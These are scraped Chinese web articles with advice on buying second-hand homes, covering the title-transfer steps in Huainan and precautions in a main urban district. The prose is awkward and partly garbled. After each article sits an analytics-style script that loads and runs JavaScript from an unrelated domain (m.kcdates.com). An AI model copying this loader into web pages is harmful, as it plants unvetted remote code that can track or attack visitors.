购买淮南二手房前需要知道的二手房过户流程

购买淮南二手房的流程其实并不像想象当中那么容易，虽然购买淮南二手房等于却很多方面要比新房更少一些流程，二手房过户问题才是消费者需要考虑的主要情况，因为毕竟从业主手里过户到第二消费者手里有很多手续方面都是需要处理的。今天就来说一下，购买淮南二手房之前需要知道有关过户流程。一、消费者需要对淮南二手房房子的产权进行了解消费者如果想要购买淮南二手房，一定要多调查这个二手房的房屋产权是否是完整的，并且业主或者是房屋中介所提供的信息是否可靠且真实业主的姓名是否与房屋中心上面登记的业主名字是否相符，有没有租出去的情况，或者是抵押出去的情况。二、淮南二手房过户材料需要准备淮南二手房过户也需要很多的材料，消费者的身份证、户口本等证件，而业主则需要带好房产证原件及复印件，这些材料准备好后到房屋中心，两方都必须让到场，然后再签订合同来进行买卖。三、递交材料办理落户通常房屋交易大厅根据排号叫号来进行办理，双方要根据正常流程到收件窗口第所需要提交的材料，然后工作人员会将这些材料收取好，整理好后，指导你填写相关的表格资料，然后再要合影存档等这些资料全都递交完毕，以后工作人员会将这些保存下来，并且给买卖双方一个回执单。四、办理税费及缴费淮南二手房交易也是需要进行缴纳税费的，如果这个淮南二手房房子符合税费减免的话，就可以办理减免税费，但如果要是没有的话，需要在当天过户后，就要缴纳税费，并且把名字更换成买方的名字，然后这些全部都交完毕以后过户流程就可以暂时完成了，经过十个工作日后进行第二次审批，这一次如果审批通过，那么买方就可以拿到房产证，如果第二次审批不通过，还是要重新办理。五、拿证如果没有什么问题了，那就基本上你就能拿到淮南二手房的房产证，还有其他的一些证件，最后得到不动产证之后就可以交交房了，基本上这个过户流程就可以如此的解决。以上就是关于淮南二手房过户流程的相关信息，由于二手房不是新房，所以在办理流程，一定要多加的注意，尤其是过户问题，买时一定要多加留意，要在专业认证的机构监督下进行买卖，千万不要自己独自进行交易。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

购买主城区二手房子需要我们留意的事项

在聊到购买主城区二手房子的经济门槛日益增高。主城区相较于度假区、开发区、高新区价格又高很多，作为四个地区中历史最悠久，资历最丰富、发展时间也最长的地区，在商业，教育，医疗和其他资源上有独特的优势。当然跟重要的是随着旧城改造的不断推进，主城区更是老面孔活出新面貌。大型住宅社区，办公楼和城市景点，标志性的建设拔地而起。购房者选择购买主城区二手房子的原因就在这里。而购买主城区二手房子就是一个不错的选择，当然购买主城区二手房子可是要注意好多事情的哦中介是二手房交易过程中非常重要的部分选定的中介门店必须拥有工商营业执照和房地产中介资质证书。这都是合格中介所必备的，有了这些你才能有网签的资格。否则，否者他只能把你挂靠在其它中介的名下进行。如果存在争议，您只会遭受损失。至于店主经理的证书，您可以直接询问并让他把它拿出来看看。永远不要为了买一套房去找一个中介，而是应该认准一个中介，然后让他给你推荐房源。因为许多房源的信息在中介中都是互相流通的，只要你是真心想买房，一个合格的中介是会把他客户的信息保护好，不把你的隐私、信息擅自泄露的，而且会想尽办法为你寻找到合适你的房源。至于贷款问题，其中的政策必须要让中介详细的解释清楚并且核算准确后，写下来，让中介确认好签字盖章。避免后期各种扯皮闹麻烦。在去看房子的时候在见到房东时，一定要查核房子是否有做过抵押，如果发生过抵押是否现在已经解除抵押，等一切事宜了解清楚了之后再进行交易。当然查看房产证也是可以的，一般房子已办理抵押的，都会在房产证上注明，但如果还在抵押确认中，那就说不清楚了，所以在购买主城区二手房子时有一定的风险，购买千万要谨慎。购买主城区二手房子一定要记住，在中介第一次你的任何要求都不过分，等到你要付定金了，再去问，中介是不会拿给你看的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();